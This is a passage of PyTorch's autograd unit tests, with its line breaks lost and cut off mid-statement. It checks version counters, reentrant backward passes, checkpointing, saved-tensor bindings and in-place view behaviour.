# Test for one input and one output being complex x = torch.rand(2, dtype=torch.cdouble, requires_grad=True) gradcheck(fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, err_msg): gradcheck(bad_fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) # Test for all inputs and outputs being complex y = torch.rand(2, dtype=torch.cdouble, requires_grad=True) gradcheck(fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) with self.assertRaisesRegex(RuntimeError, err_msg): gradcheck(bad_fn, (x, y), check_forward_ad=True, fast_mode=fast_mode) def test_version_counter(self): x = torch.randn(1, 2) # In-place op bumps version x_saved_version = x._version x.add_(1).add_(1) self.assertTrue(x._version > x_saved_version) # Differentiable view shares version counter xz = x[:] self.assertTrue(x._version == xz._version) xz.add_(1) self.assertTrue(x._version == xz._version) # `x.data = y` preserves version counter of `x` x_saved_version = x._version x.data = torch.randn(2, 3) self.assertTrue(x._version == x_saved_version) x.add_(1) self.assertTrue(x._version > x_saved_version) # Make sure `x` is still using the same version counter it shares with `xz` self.assertTrue(x._version == xz._version) # In-place op on `xz` also updates version of `x`, # because they share the version counter xz.add_(1) self.assertTrue(x._version == xz._version) def test_set_data_tensorimpl_type(self): # Dense tensor has impl of type `TensorImpl`, while sparse tensor has impl # of type `SparseTensorImpl`. x = torch.randn(1, 2) x_s = torch.sparse_coo_tensor(torch.zeros([1, 1]), torch.ones([1])) with self.assertRaisesRegex(RuntimeError, 'incompatible tensor type'): x.data = x_s def test_set_data_preserve_pyobj(self): a = torch.randn(1, 2) b = torch.randn(1, 2) b_id_saved = id(b) b.data = a self.assertTrue(b_id_saved == id(b)) @unittest.skipIf(IS_WINDOWS, "Skipping because doesn't work for windows") def test_thread_shutdown(self): code = """import torch from torch.autograd import Function class MyFunction(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, grad): return grad for shape in [(1,), ()]: v = torch.ones(shape, requires_grad=True) MyFunction.apply(v).backward() """ s = TestCase.runWithPytorchAPIUsageStderr(code) self.assertRegex(s, "PYTORCH_API_USAGE torch.autograd.thread_shutdown") @unittest.skipIf(IS_MACOS, "Fails with SIGBUS on macOS; https://github.com/pytorch/pytorch/issues/25941") def test_deep_reentrant(self): class DeepReentrant(Function): @staticmethod def forward(ctx, x): with torch.enable_grad(): ctx.x = Variable(x.detach(), requires_grad=True) ctx.x = ctx.x - 1 return ctx.x.detach() @staticmethod def backward(ctx, x): if ctx.x < 0: return x with torch.enable_grad(): DeepReentrant.apply(ctx.x).sum().backward() return x # Test stack overflow escape mechanism v = torch.tensor(2000.0, requires_grad=True) # This will cause stack overflow if reentrant calls are handled # in the same thread recursively DeepReentrant.apply(v).sum().backward() # Test stack overflow escape mechanism multiple times # to ensure reusing workers in the pool works fine v2 = torch.tensor(200.0, requires_grad=True) DeepReentrant.apply(v2).sum().backward() def test_reentrant_priority(self): order = [] class MyFunction(Function): @staticmethod def forward(ctx, x): return x @staticmethod def backward(ctx, x): order.append("MyFunction") return x class Reentrant(Function): @staticmethod def forward(ctx, x): with torch.enable_grad(): ctx.x = Variable(x.detach(), requires_grad=True) ctx.x = ctx.x - 1 return ctx.x.detach() @staticmethod def backward(ctx, x): order.append("Reentrant") if ctx.x < 0: return x with torch.enable_grad(): Reentrant.apply(ctx.x).backward() return x a = MyFunction.apply(torch.tensor(6.0, requires_grad=True)) b = Reentrant.apply(torch.tensor(9.0, requires_grad=True)) v = a * b v.backward() # The tasks for the Reentrant and MyFunction backward() will be added # to the queue in the autograd engine at the same time. The backward # for Reentrant will be executed first, which will then add other # backward tasks to the queue. We want to ensure all the reentrant tasks # are prioritized over the MyFunction backward task regardless of their # sequence numbers self.assertEqual(len(order), 11) self.assertEqual(order.count("Reentrant"), 10) self.assertEqual(order[-1], "MyFunction") @slowTest def test_checkpointing(self): num_inp = 2000 nz_inp = 10 nz_out = 10 nz_bottleneck = 1000 # small proxy network for some complex reasoning we want to do per input module = nn.Sequential( nn.Linear(nz_inp, nz_bottleneck), nn.ReLU(), nn.Linear(nz_bottleneck, nz_inp) ) feat_combined = [] for r in range(num_inp): data_r = torch.empty(1, nz_inp) data_r.uniform_() data_r.requires_grad = True feat_r = checkpoint(module, data_r) feat_combined.append(feat_r) # compute mean as a proxy for some joint reasoning mean_combined = torch.stack(feat_combined).mean() mean_combined.backward() def test_checkpoint_valid_reset_on_error(self): a = torch.randn(2, 2, requires_grad=True) with self.assertRaisesRegex(Exception, "Checkpointing is not compatible with .grad()"): b = checkpoint(torch.exp, a).sum() torch.autograd.grad(b, (a,)) c = checkpoint(torch.exp, a).sum() c.backward() def test_callback_adds_callback(self): called = [0] def callback_final(): called[0] += 1 def callback_adds_callback(): called[0] += 1 Variable._execution_engine.queue_callback(callback_final) class MyFunc(Function): @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, grad): Variable._execution_engine.queue_callback(callback_adds_callback) return grad a = torch.rand((3, 3), requires_grad=True) b = MyFunc.apply(a) b.sum().backward() self.assertEqual(called[0], 2) def _test_reentrant_with_callbacks(self, install_callbacks_in_depths): counter = {} counter["inner"] = 0 counter["outer"] = 0 def inc_inner_counter(): counter["inner"] += 1 def inc_outer_counter(): counter["outer"] += 1 class MyFunc(Function): @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, input): if 1 in install_callbacks_in_depths: # Add a callback to execute. Variable._execution_engine.queue_callback(inc_inner_counter) return input class MyReentrantFunc(Function): @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, input): if 0 in install_callbacks_in_depths: # Add a callback to execute. Variable._execution_engine.queue_callback(inc_outer_counter) # Reentrant backward call. tmp_inp = input.detach().requires_grad_() with torch.enable_grad(): tmp_out = (MyFunc.apply(tmp_inp)).sum() tmp_out.backward() return input t1 = torch.rand((3, 3), requires_grad=True) t2 = MyReentrantFunc.apply(t1) t3 = t2.sum() torch.autograd.backward([t3]) return counter def test_reentrant_with_callbacks_depth_0(self): # Verify callback is called only once. ret = self._test_reentrant_with_callbacks([0]) self.assertEqual(1, ret["outer"]) self.assertEqual(0, ret["inner"]) def test_reentrant_with_callbacks_depth_1(self): # Verify callback is called only once. ret = self._test_reentrant_with_callbacks([1]) self.assertEqual(0, ret["outer"]) self.assertEqual(1, ret["inner"]) def test_reentrant_with_callbacks_both_depths(self): # Verify callback is called twice. ret = self._test_reentrant_with_callbacks([0, 1]) self.assertEqual(1, ret["outer"]) self.assertEqual(1, ret["inner"]) def test_reentrant_with_leaf_variable_hook(self): handle = None param = torch.rand(10, requires_grad=True) def add_gradient_penalty_to_grad(grad): handle.remove() old_param_grad = grad param.grad = None # Add some sort of gradient penalty by directly updating the gradients with torch.enable_grad(): g = grad.detach().requires_grad_() new_param = param.detach().requires_grad_() out = ((g * 2) + new_param).sum() out.backward() res = g.grad + grad param.grad = old_param_grad return res handle = param.register_hook(add_gradient_penalty_to_grad) # Forward pass tmp = (param * param) loss = tmp.sum() # Compute the gradients loss.backward() def test_reentrant_with_non_leaf_variable_hook(self): handle = None param = torch.rand(10, requires_grad=True) def manual_increase_gradient(grad): handle.remove() # Add some sort of gradient penalty by directly updating the gradients with torch.enable_grad(): g = grad.detach().requires_grad_() out = ((g * 2) + 5).sum() out.backward() res = g.grad + grad return res # Forward pass tmp = (param * param) handle = tmp.register_hook(manual_increase_gradient) loss = tmp.sum() # Compute the gradients loss.backward() self.assertEqual(param.grad, 6 * param) def test_grad_fn_attr_bindings(self): # Check that the getter of each type returns what we want # See `gen_autograd_functions.py` for how the getters are generated # # This test is only meant to check if the codegen'd bindings work # Please help update this test if you update the names of any the fields we check! # a = torch.ones(1, requires_grad=True) b = torch.ones(1, requires_grad=True) out = torch.stack([a, b], dim=0) self.assertEqual(out.grad_fn._saved_tensors, (a, b)) # TensorList -> Tuple[Tensor] self.assertIsInstance(out.grad_fn._saved_tensors[0], torch.Tensor) self.assertIsInstance(out.grad_fn._raw_saved_tensors[0], torch._C._autograd.SavedTensor) self.assertEqual(out.grad_fn._saved_dim, 0) # int64_t -> int self.assertIsInstance(out.grad_fn._saved_dim, int) out.grad_fn._raw_saved_tensors[0].register_hooks(lambda x: x, lambda x: x) out.sum().backward() with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): out.grad_fn._saved_tensors with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): out.grad_fn._raw_saved_tensors self.assertEqual(out.grad_fn._saved_dim, 0) a = torch.ones(2, 2, requires_grad=True) indices = torch.tensor([0, 1]) out = a[:, indices] self.assertEqual(out.grad_fn._saved_indices, (None, indices)) # c10::List<c10::optional<Tensor>> -> Tuple[Tensor?] self.assertIsInstance(out.grad_fn._saved_indices[1], torch.Tensor) self.assertIsInstance(out.grad_fn._raw_saved_indices[1], torch._C._autograd.SavedTensor) self.assertEqual(out.grad_fn._saved_self_sizes, a.shape) # IntArrayRef -> Tuple[int] self.assertIsInstance(out.grad_fn._saved_self_sizes[0], int) out.grad_fn._raw_saved_indices[1].register_hooks(lambda x: x, lambda x: x) with self.assertRaisesRegex(RuntimeError, "None is forbidden"): out.grad_fn._raw_saved_indices[0].register_hooks(lambda x: x, lambda x: x) a = torch.ones(2, 2, requires_grad=True) out = a * a out.grad_fn._raw_saved_self.register_hooks(lambda x: x, lambda x: x) out.sum().backward() with self.assertRaisesRegex(RuntimeError, "after it has been freed"): out.grad_fn._raw_saved_self.register_hooks(lambda x: x, lambda x: x) a = torch.ones(1, 1, 2, requires_grad=True) out = torch.nn.functional.interpolate(a, 4, mode="linear") self.assertEqual(out.grad_fn._saved_output_size, (4,)) # c10::optional<IntArrayRef> -> int[]? self.assertIsInstance(out.grad_fn._saved_output_size[0], int) self.assertEqual(out.grad_fn._saved_align_corners, False) # bool -> bool self.assertIsInstance(out.grad_fn._saved_align_corners, bool) self.assertIsNone(out.grad_fn._saved_scale_factors) # c10::optional<ArrayRef<double>> -> float[]? out = torch.nn.functional.interpolate(a, scale_factor=0.5, mode="linear") self.assertIsNone(out.grad_fn._saved_output_size) self.assertEqual(out.grad_fn._saved_scale_factors, (0.5,)) self.assertIsInstance(out.grad_fn._saved_scale_factors[0], float) a = torch.ones(2, 2, requires_grad=True) out = torch.pdist(a, p=1) self.assertEqual(out.grad_fn._saved_p, 1.) # double -> float self.assertIsInstance(out.grad_fn._saved_p, float) a = torch.ones(1, 1, 2, requires_grad=True) out = torch.logit(a, 1.) self.assertEqual(out.grad_fn._saved_eps, 1.) # c10:optional<double> -> float? self.assertIsInstance(out.grad_fn._saved_eps, float) out = torch.logit(a) self.assertIsNone(out.grad_fn._saved_eps) if torch._C.has_lapack: a = torch.ones(1, 1, requires_grad=True) q, r = torch.linalg.qr(a, mode="reduced") self.assertEqual(q.grad_fn._saved_mode, "reduced") # std::string -> str a = torch.tensor([1.], requires_grad=True) out = torch.div(a, 2., rounding_mode="trunc") self.assertEqual(out.grad_fn._saved_rounding_mode, "trunc") # c10::optional<std::string> -> str? out = torch.div(a, 2., rounding_mode=None) self.assertIsNone(out.grad_fn._saved_rounding_mode) # c10::optional<std::string> -> str? x = torch.zeros(5, requires_grad=True) out = torch.threshold(x, threshold=(1 + 0j), value=(1 + 0j)) self.assertIsInstance(out.grad_fn._saved_threshold, complex) # Scalar(complex double) -> complex cfloat = torch.tensor(1 + 0j, dtype=torch.complex64) out = torch.threshold(x, threshold=cfloat, value=(1 + 0j)) self.assertIsInstance(out.grad_fn._saved_threshold, complex) # Scalar(complex float) -> complex out = torch.threshold(x, threshold=1., value=1.) self.assertIsInstance(out.grad_fn._saved_threshold, float) # Scalar(floating point) -> float out = torch.threshold(x, threshold=1, value=1) self.assertIsInstance(out.grad_fn._saved_threshold, int) # Scalar(integral) -> int out = torch.threshold(x, threshold=False, value=False) self.assertIsInstance(out.grad_fn._saved_threshold, bool) # Scalar(bool) -> bool a = torch.ones(2, 2, requires_grad=True) out = a.as_strided((3,), (1,), 1) self.assertEqual(out.grad_fn._saved_storage_offset, 1) # c10:optional<int64_t> -> int? self.assertIsInstance(out.grad_fn._saved_storage_offset, int) out = a.as_strided((3,), (1,)) self.assertIsNone(out.grad_fn._saved_storage_offset) a = torch.ones(2, requires_grad=True) out = torch.tanh(a) self.assertEqual(out, out.grad_fn._saved_result) # saved variable when output a = torch.randn(3, 5, requires_grad=True) b = torch.tensor([1, 0, 4]) loss = nn.NLLLoss() out = loss(a, b) self.assertIsNone(out.grad_fn._saved_weight) loss = nn.NLLLoss(weight=torch.ones((5,))) out = loss(a, b) self.assertEqual(out.grad_fn._saved_weight, torch.ones((5,))) # c10:optional<Tensor> -> Tensor? out.sum().backward() with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): out.grad_fn._saved_weight def test_cant_create_saved_tensors(self): with self.assertRaisesRegex(RuntimeError, "Trying to create a SavedTensor object from Python is forbidden"): torch.autograd.SavedTensor() def test_custom_function_saved_tensors(self): def getFn(save=True): class MyFn(Function): @staticmethod def forward(ctx, x): if save: ctx.save_for_backward(x, None) return x @staticmethod def backward(ctx, g): return g return MyFn a = torch.randn(5, requires_grad=True) y = getFn(True).apply(a) self.assertEqual((a, None), y.grad_fn.saved_tensors) saved = y.grad_fn._raw_saved_tensors self.assertIsInstance(saved[0], torch._C._autograd.SavedTensor) # We can't tell the underlying tensor is None without unpacking it self.assertIsInstance(saved[1], torch._C._autograd.SavedTensor) # We catch that error when the user calls register_hooks on it with self.assertRaisesRegex(RuntimeError, "None is forbidden"): saved[1].register_hooks(lambda x: x, lambda x: x) with self.assertRaisesRegex(TypeError, "incompatible function arguments"): saved[0].register_hooks(lambda x: x) with self.assertRaisesRegex(TypeError, "incompatible function arguments"): saved[0].register_hooks(1, 1) saved[0].register_hooks(lambda x: x, lambda x: x) with self.assertRaisesRegex(RuntimeError, "already been set"): saved[0].register_hooks(lambda x: x, lambda x: x) y.sum().backward() # Using a reference to the SavedTensor object after the # saved variables have been released can lead to undefined behavior del saved with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): y.grad_fn._raw_saved_tensors with self.assertRaisesRegex(RuntimeError, "after they have already been freed"): y.grad_fn.saved_tensors y = getFn(False).apply(a) self.assertEqual(y.grad_fn.saved_tensors, ()) self.assertEqual(y.grad_fn._raw_saved_tensors, ()) def test_autograd_views_codegen(self): # This is not necessarily the absolute correct behavior, but this is the current # one. This test is here to make sure that any change to this behavior is detected # and not silent. The TODOs below mark the places with unexpected behavior. # Note that any change in these test will be BC-breaking and should be done carefully. # This test checks the behavior of two codegen functions (view_as and unbind) # with respect to view tracking and inplace operation on the output. def run_test(grad_mode, requires_grad, is_view, should_raise_tuple): def maybe_check_raise(fn, should_raise): self.assertTrue(should_raise is None or isinstance(should_raise, str)) if should_raise is not None: with self.assertRaisesRegex(RuntimeError, should_raise): fn() else: fn() inp = torch.rand(2, requires_grad=requires_grad).clone() with torch.set_grad_enabled(grad_mode): out = inp.view_as(inp) # Are they differentiable views? self.assertTrue(out._is_view() == is_view) # Are inplace allowed? maybe_check_raise(lambda: out.add_(1), should_raise_tuple[0]) inp = torch.rand(2, requires_grad=requires_grad).clone() with torch.set_grad_enabled(grad_mode): out = inp.unbind() # Are they differentiable views? self.assertTrue(out[0]._is_view() == is_view) self.assertTrue(out[1]._is_view() == is_view) # Are inplace allowed? maybe_check_raise(lambda: out[0].add_(1), should_raise_tuple[1]) maybe_check_raise(lambda: out[1].add_(1), should_raise_tuple[2]) # should_raise contains None if it should not raise # should_raise contains a string of the error if it should raise # The 3 elements are for view_as, first output of unbind and second output of unbind run_test(grad_mode=True, requires_grad=False, is_view=True, should_raise_tuple=(None, None, None)) inp_change_err = "Output {} of UnbindBackward is a view and is being modified inplace." run_test(grad_mode=True, requires_grad=True, is_view=True, should_raise_tuple=(None, inp_change_err.format("0"), inp_change_err.format("1"))) leaf_grad_err = "A view was created in no_grad mode and is being modified inplace" run_test(grad_mode=False, requires_grad=True, is_view=True, should_raise_tuple=(leaf_grad_err, leaf_grad_err, leaf_grad_err)) run_test(grad_mode=False, requires_grad=False, is_view=True, should_raise_tuple=(None, None, None)) def test_inplace_not_requires_grad(self): class MyFn(torch.autograd.Function): @staticmethod def forward(ctx, inp): return inp.view_as(inp) @staticmethod def backward(ctx, grad): return grad # Original Tensor does not require grad a = torch.rand(1, 2) # Tensor being written does require grad b = torch.rand(1, requires_grad=True) # Take an invalid view on 'a' that should raise an error (warns during deprecation) view_a = MyFn.apply(a) with self.assertRaisesRegex(RuntimeError, "This view was created inside a custom Function"): view_a += b # Extra test for copy_ that is a manual implementation and could be easily # forgotten when the codegen is updated (warns during deprecation) a = torch.rand(1, 2) b = torch.rand(1, requires_grad=True) view_a = MyFn.apply(a) with self.assertRaisesRegex(RuntimeError, "This view was created inside a custom Function"): view_a.copy_(b) # Functions that should throw must properly throw a = torch.rand(1, 2) b = torch.rand(1, requires_grad=True) view_a = a.unbind()[0] with self.assertRaisesRegex(RuntimeError, "This view is the output of a function that returns " "multiple views."): view_a.copy_(b) # Sanity check that views that should work still work a = torch.rand(1, 2) b = torch.rand(1, requires_grad=True) a.select(1, 0).copy_(b) def _do_test_autograd_simple_views_python(self, dtype): # This is not necessarily the absolute correct behavior, but this is the current # one. This test is here to make sure that any change to this behavior is detected # and not silent. The TODOs below mark the places with unexpected behavior. # Note that any change in these test will be BC-breaking and should be done carefully. # This checks the autograd.Function behavior when we return one or multiple outputs # while one of these is an input, a view of an input or of a temporary tensor. # This indicator is used to track how many times the backward function was called bw_called = [0] # This indicator is used to check if the argument `ga` contains non-zero values ga_nz = [False] class IdOneOutput(Function): @staticmethod def forward(ctx, a, b, make_view): if make_view: a = a.narrow(0, 0, 2) else: a = a.clone() return a @staticmethod def backward(ctx, ga): bw_called[0] += 1 return ga, None, None class IdTwoOutput(Function): @staticmethod def forward(ctx, a, b, make_view): if make_view: a = a.narrow(0, 0, 2) else: a = a.clone() return a, a + b @staticmethod def backward(ctx, ga, gab): bw_called[0] += 1 if ga.eq(0).all(): ga_nz[0] = False else: ga_nz[0] = True return ga + gab, gab, None class ViewOfTemp(Function): @staticmethod def forward(ctx, a, make_view): ctx.save_for_backward(a) if make_view: a = a.narrow(0, 0, 2) else: a = a.clone() b = a.clone() return b.select(0, 0) @staticmethod def backward(ctx, grad): bw_called[0] += 1 a, = ctx.saved_tensors res = torch.zeros_like(a) res.select(0, 0).copy_(grad) return res, None fn_id_to_inplace_on_view_err_msg = { "one_output": ("Output 0 of IdOneOutputBackward is a view and is being " "modified inplace. This view was created inside a custom Function"), "two_output": ("Output 0 of IdTwoOutputBackward is a view and is being modified inplace." " This view is the output of a function that returns multiple views."), "view_of_temp": ("Output 0 of ViewOfTempBackward is a view and is being " "modified inplace. This view was created inside a custom Function") } for fn_id in ["one_output", "two_output", "view_of_temp"]: for inplace in [True, False]: for make_view in [True, False]: # Used for special casing the tests below output_is_a_view = (make_view or fn_id == "view_of_temp") def fn(a, b): # never modify a, b inplace for gracheck a = a.clone() b = b.clone() if fn_id == "two_output": tmp1, tmp2 = IdTwoOutput.apply(a, b, make_view) if inplace: tmp1 += 3 tmp2 += 3 else: tmp1 = tmp1 + 3 tmp2 = tmp2 + 3 tmp = tmp1 * tmp2 else: if fn_id == "one_output": tmp = IdOneOutput.apply(a, b, make_view) else: tmp = ViewOfTemp.apply(a + b, make_view) if inplace: tmp += 3 else: tmp = tmp + 3 return tmp.sum() a = torch.ones(2, dtype=dtype, requires_grad=True) b = torch.ones(2, dtype=dtype, requires_grad=True) err_msg = fn_id_to_inplace_on_view_err_msg[fn_id] if not inplace or not output_is_a_view: gradcheck(fn, (a, b), check_batched_grad=False) # Was the custom backward called properly bw_called[0] = 0 ga_nz[0] = True # For the case where the backward is called if inplace and output_is_a_view: with self.assertRaisesRegex(RuntimeError, err_msg): fn(a, b) else: fn(a, b).backward() expected_called = 1 expected_ga_nz = True if output_is_a_view and inplace: expected_called = 0 self.assertTrue(bw_called[0] == expected_called) self.assertTrue(ga_nz[0] == expected_ga_nz) def test_autograd_simple_views_python(self): self._do_test_autograd_simple_views_python(torch.double) self._do_test_autograd_simple_views_python(torch.cdouble) def test_autograd_inplace_views_creation_meta(self): # Tests creation_meta properly handled for inplace views class Func(torch.autograd.Function): @staticmethod def forward(ctx, x): return x.view_as(x) @staticmethod def backward(ctx, x): return x view_custom = Func.apply def run_test(fn, fn_type, grad_mode_view, grad_mode_iview, requires_grad, error1, error2): # This test checks the behavior of inplace-view functions when # the views are created in grad mode or not base = torch.rand(2, 3, requires_grad=requires_grad).clone() # 1. Create a view with `grad_mode=grad_mode_view` with torch.set_grad_enabled(grad_mode_view): if fn_type == "multi_view": inp = base.unbind()[0] elif fn_type == "custom" : inp = view_custom(base) else: inp = base.view_as(base) # 2. Perform inplace view with `grad_mode=grad_mode_iview` with torch.set_grad_enabled(grad_mode_iview): if error1 is not None: with self.assertRaisesRegex(RuntimeError, error1): fn(inp) return else: # If error is None, check that runs without error fn(inp) # 3. Do inplace on the (new) view if error2 is not None: with self.assertRaisesRegex(RuntimeError, error2): inp.add_(1) else: # If error is None, check that runs without error inp.add_(1) no_grad_err = "A view was created in no_grad mode" multi_view_err = "function that returns multiple views" custom_err = "view was created inside a custom Function" def run_tests(fn): for fn_type in ("normal", "multi_view", "custom"): for grad_mode_view in (True, False): for grad_mode_iview in (True, False): for requires_grad in (True, False): error1 = None # expected error when we do inplace_view on original view error2 = None # expected error when we do inplace on the resulting view if requires_grad: if not grad_mode_view and grad_mode_iview: error1 = no_grad_err if not grad_mode_view and not grad_mode_iview: error2 = no_grad_err if fn_type == "multi_view": if grad_mode_view and grad_mode_iview: error1 = multi_view_err if grad_mode_view and not grad_mode_iview: error2 = multi_view_err if fn_type == "custom": if grad_mode_view and grad_mode_iview: error1 = custom_err if grad_mode_view and not grad_mode_iview: error2 = custom_err run_test(fn, fn_type, grad_mode_view, grad_mode_iview, requires_grad, error1, error2) # This list was created by logging gen_inplace_or_view_type.py # detach_ is excluded for this test because it cannot be applied to # views and thus does not return a view run_tests(lambda v: v.as_strided_((1, 0), (2, 2))) run_tests(lambda v: v.transpose_(0, 0)) run_tests(lambda v: v.t_()) run_tests(lambda v: v.squeeze_(0)) run_tests(lambda v: v.unsqueeze_(0)) run_tests(lambda v: v.swapdims_(0, 0)) run_tests(lambda v: v.swapaxes_(0, 0)) # TODO This is not the correct behavior - # See https://github.com/pytorch/pytorch/issues/49825#issuecomment-794466627 def test_autograd_inplace_views_cross_dtype(self): # This test is here to make sure that any change to this behavior is detected # and not silent. The TODOs below mark the places with unexpected behavior. a_orig = torch.rand(3, 3, requires_grad=True, dtype=torch.complex64) a = a_orig.clone() b = torch.view_as_real(a) b = b.transpose(0, 1) b += 1 b.backward(torch.arange(0, 18, dtype=torch.float).view(3, 3, 2)) non_inplace_grad = a_orig.grad a_orig = torch.rand(3, 3, requires_grad=True, dtype=torch.complex64) a = a_orig.clone() b = torch.view_as_real(a) b.transpose_(0, 1) b += 1 b.backward(torch.arange(0, 18, dtype=torch.float).view(3, 3, 2)) inplace_grad = a_orig.grad # TODO: this is a bug! # once this is fixed, it should have the transpose removed: # self.assertTrue(torch.allclose(non_inplace_grad, inplace_grad)) self.assertEqual(non_inplace_grad.T, inplace_grad) def test_autograd_multiple_views_python(self): # This is not necessarily the absolute correct behavior, but this is the current # one. This test is here to make sure that any change to this behavior is detected # and not silent. The TODOs below mark the places with unexpected behavior. # Note that any change in these test will be BC-breaking and should be done carefully. # This checks that multiples views in the forward are properly traced and how they # behave with respect to inplace operations. # This indicator is used to track how many times the backward function was called bw_called = [0] class ComplexView(Function): @staticmethod def forward(ctx, a, idx): res = a.narrow(0, idx, 1) res = a.select(0, idx) ctx.save_for_backward(a) ctx.idx = idx return res @staticmethod def backward(ctx, grad): bw_called[0] += 1 a, = ctx.saved_tensors res = torch.zeros_like(a) res.select(0, ctx.idx).copy_(grad) return res, None a = torch.ones(2, requires_grad=True) idx = 1 bw_called[0] = 0 out = ComplexView.apply(a.clone(), idx) out.sum().backward() self.assertTrue(bw_called[0] == 1) out = ComplexView.apply(a.clone(), idx) with self.assertRaisesRegex(RuntimeError, "Output 0 of ComplexViewBackward is a view and is being modified inplace"): out += 1 def test_autograd_python_custom_function_inplace(self): # This is not necessarily the absolute correct behavior, but this is the current # one. This test is here to make sure that any change to this behavior is detected # and not silent. The TODOs below mark the places with unexpected behavior. # Note that any change in these test will be BC-breaking and should be done carefully. # This test checks custom autograd.Function that perform inplace operations bw_called = [0] # I) Single output class MyAdder(Function): @staticmethod def forward(ctx, a, b): a.add_(b) ctx.mark_dirty(a) return a @staticmethod def backward(ctx, grad): bw_called[0] += 1 return grad, grad a = torch.ones(2, requires_grad=True) b = torch.ones(2, requires_grad=True) # No extra inplace c = MyAdder.apply(a.clone(), b) c.sum().backward() self.assertTrue(bw_called[0] == 1) # With extra inplace on the output bw_called[0] = 0 c = MyAdder.apply(a.clone(), b) c += 2 c.sum().backward() self.assertTrue(bw_called[0] == 1) # The input is a view bw_called[0] = 0 c = MyAdder.apply(a.clone().view_as(a), b) c.sum().backward() self.assertTrue(bw_called[0] == 1) # Should not give non-inputs to mark_dirty class MyAdderBad(Function): @staticmethod def forward(ctx, a, b): c = 3 * a c.add_(b) ctx.mark_dirty(c) return c @staticmethod def backward(ctx, grad): bw_called[0] += 1 grad = 3 * grad return grad, grad a = torch.ones(2, requires_grad=True) b = torch.ones(2, requires_grad=True) with warnings.catch_warnings(record=True) as w: MyAdderBad.apply(a.clone(), b) self.assertEqual(len(w), 1) # II) Multiple outputs class MyBadAdder(Function): @staticmethod def forward(ctx, a, b): a.add_(b) ctx.mark_dirty(a) return a, a + b @staticmethod def backward(ctx, ga, gab): bw_called[0] += 1 return ga + gab, ga + gab # No extra inplace bw_called[0] = 0 c, d = MyBadAdder.apply(a.clone(), b) (c * d).sum().backward() self.assertTrue(bw_called[0] == 1) # With extra inplace on the output bw_called[0] = 0 c, d = MyBadAdder.apply(a.clone(), b) c += 2 (c * d).sum().backward() self.assertTrue(bw_called[0] == 1) # The input is a view inplace_on_view_err = "your Function modifies inplace an input that is a view of another Tensor" with self.assertRaisesRegex(RuntimeError, inplace_on_view_err): c, d = MyBadAdder.apply(a.clone().view_as(a), b) # III) Inplace + other op class MyOutPlaceAdder(Function): @staticmethod def forward(ctx, a, b): a.add_(b) ctx.mark_dirty(a) return a.clone(), a + b @staticmethod def backward(ctx, ga, gab): bw_called[0] += 1 return ga + gab, ga + 2 * gab # We don't reuse the input def fn(a, b): orig_a = a.clone().view_as(a) c, d = MyOutPlaceAdder.apply(orig_a, b) return (c * d).sum() bad_mark_dirty_err = "Some elements marked as dirty during the forward method were not returned as output." with self.assertRaisesRegex(RuntimeError, bad_mark_dirty_err): fn(a, b) def test_named_tensor_for_complex_views(self): names = ["batch", "height", "width", "complex"] z = torch.ones((5, 12, 14, 2), requires_grad=True) z_named = z.refine_names(*names) z_complex = torch.view_as_complex(z_named.rename(None)).refine_names(*names[:-1]) z_complex.sum().backward() self.assertEqual(z.grad, torch.view_as_real(torch.ones_like(z_complex).rename(None))) def test_custom_function_return_view_in_nograd(self): class Alias(Function): @staticmethod def forward(ctx, x): return x[:] @staticmethod def backward(ctx, gx): return gx inp = torch.rand(2, requires_grad=True) with torch.no_grad(): output = Alias.apply(inp) with torch.no_grad(): expected_output = inp[:] # Calling the custom function should operate as if we called an equivalent op self.assertEqual(output.requires_grad, expected_output.requires_grad) # Check that in-place modification on view throws leaf_grad_err = "A view was created in no_grad mode and is being modified inplace" with self.assertRaisesRegex(RuntimeError, leaf_grad_err): output.zero_() def test_grad_mode_restored_reentrant(self): class MyFunction(Function): @staticmethod def forward(ctx, inp): return inp.clone() @staticmethod def backward(ctx, go): original = torch._C.is_grad_enabled() with torch.enable_grad(): self.assertTrue(torch._C.is_grad_enabled()) foo = torch.rand(go.size(), requires_grad=True) grad, = torch.autograd.grad( foo ** 3, foo, grad_outputs=go ) self.assertTrue(torch._C.is_grad_enabled()) self.assertTrue(torch._C.is_grad_enabled() == original) return grad inp = torch.rand(3, requires_grad=True) # Case where original==False MyFunction.apply(inp).sum().backward() # Case where original==True MyFunction.apply(inp).sum().backward(create_graph=True) def test_power_function(self): a = torch.tensor([0., 0., 0.]) b = torch.tensor([-1., 0., 1.], requires_grad=True) c = torch.sum(a**b) c.backward() self.assertEqual(b.grad, torch.tensor([-inf, 0., 0.])) s = 0 b = torch.tensor([-1., 0., 1.], requires_grad=True) c = torch.sum(s**b) c.backward() self.assertEqual(b.grad, torch.tensor([-inf, 0., 0.])) def test_nansum_with_nans(self): a = torch.randn(2, 2, 2, 2, dtype=torch.double) with torch.no_grad(): a[a < 0.2] = float('nan') a.requires_grad = True # No args gradcheck(lambda x: x.nansum(), a) gradgradcheck(lambda x: x.nansum(), a) # Single dim gradcheck(lambda x: x.nansum((0)), a) gradgradcheck(lambda x: x.nansum((0)), a) # Multi dim gradcheck(lambda x: x.nansum((0, 2)), a) gradgradcheck(lambda x: x.nansum((0, 2)), a) gradcheck(lambda x: x.nansum((0, -1)), a) gradgradcheck(lambda x: x.nansum((0, -1)), a) # With keep-dim gradcheck(lambda x: x.nansum((0, -1), True), a) gradgradcheck(lambda x: x.nansum((0, -1), True), a) def test_nansum_dtype(self): inp = torch.randn(2, 2, 2, 2) with torch.no_grad(): inp[inp < 0.2] = float('nan') def test(inp, inp_dtype, out_dtype): with torch.no_grad(): a = inp.to(inp_dtype) a.requires_grad = True b = torch.sum(a, dtype=out_dtype) b.backward() self.assertEqual(a.dtype, a.grad.dtype) test(inp, torch.float, torch.double) test(inp, torch.double, torch.float) def test_nan_to_num(self): a = torch.randn(3, 3, 3, 3, dtype=torch.double) with torch.no_grad(): a[torch.rand_like(a) < 